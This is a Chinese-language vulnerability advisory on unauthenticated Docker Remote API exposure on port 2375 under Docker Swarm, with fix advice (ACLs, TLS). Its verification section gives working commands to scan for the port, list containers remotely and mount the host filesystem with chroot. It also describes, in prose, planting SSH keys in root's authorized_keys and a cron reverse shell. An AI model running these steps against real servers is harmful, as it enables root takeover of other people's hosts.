0x01漏洞描述
Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。Docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供。
在使用docker swarm的时候,管理的docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,其实这是 Docker Remote API,可以执行docker命令,比如访问 http://host:2375/containers/json 会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成,
0x02 漏洞危害
Docker daemon api是使用url代替命令行来操作docker,docker swarm 是docker下的集群管理工具,在开放2375端口来监听集群容器时,会调用这个api,可以执行docker命令,root权限启动docker情况下可直接可以控制服务器。
0x03 漏洞验证
1、nmap探测开放的docker
nmap -p 2375 x.x.x.x
2、使用-H参数连接目标主机的docker,使用ps命令查询目标系统运行的镜像。
docker -H tcp://x.x.x.x:2375 ps
3、使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中。
docker -H tcp://1x.x.x.x:2375 run -it -v /:/mnt busybox chroot /mnt sh
4、在vps上生成公钥,并将其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中,即可直接免密登录目标机器
其他方式:利用定时任务反弹shell
0x04 修复建议
1、简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则;
2、修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。